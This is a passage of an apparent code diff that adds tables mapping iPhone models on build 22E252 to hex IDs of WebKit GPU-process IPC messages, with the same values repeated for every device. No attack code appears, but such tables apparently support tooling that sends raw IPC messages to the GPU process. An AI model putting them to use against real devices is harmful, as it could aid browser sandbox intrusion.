RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone13,1_22E252": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone13,2_3_22E252": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, +"iPhone13,3_22E252": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + + "iPhone13,4_22E252": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone14,2_22E252": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone14,3_22E252": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone14,4_22E252": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone14,5_22E252": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone14,6_22E252": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone14,7_22E252": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone14,8_22E252": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone15,2_22E252": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone15,3_22E252": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone15,4_22E252": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 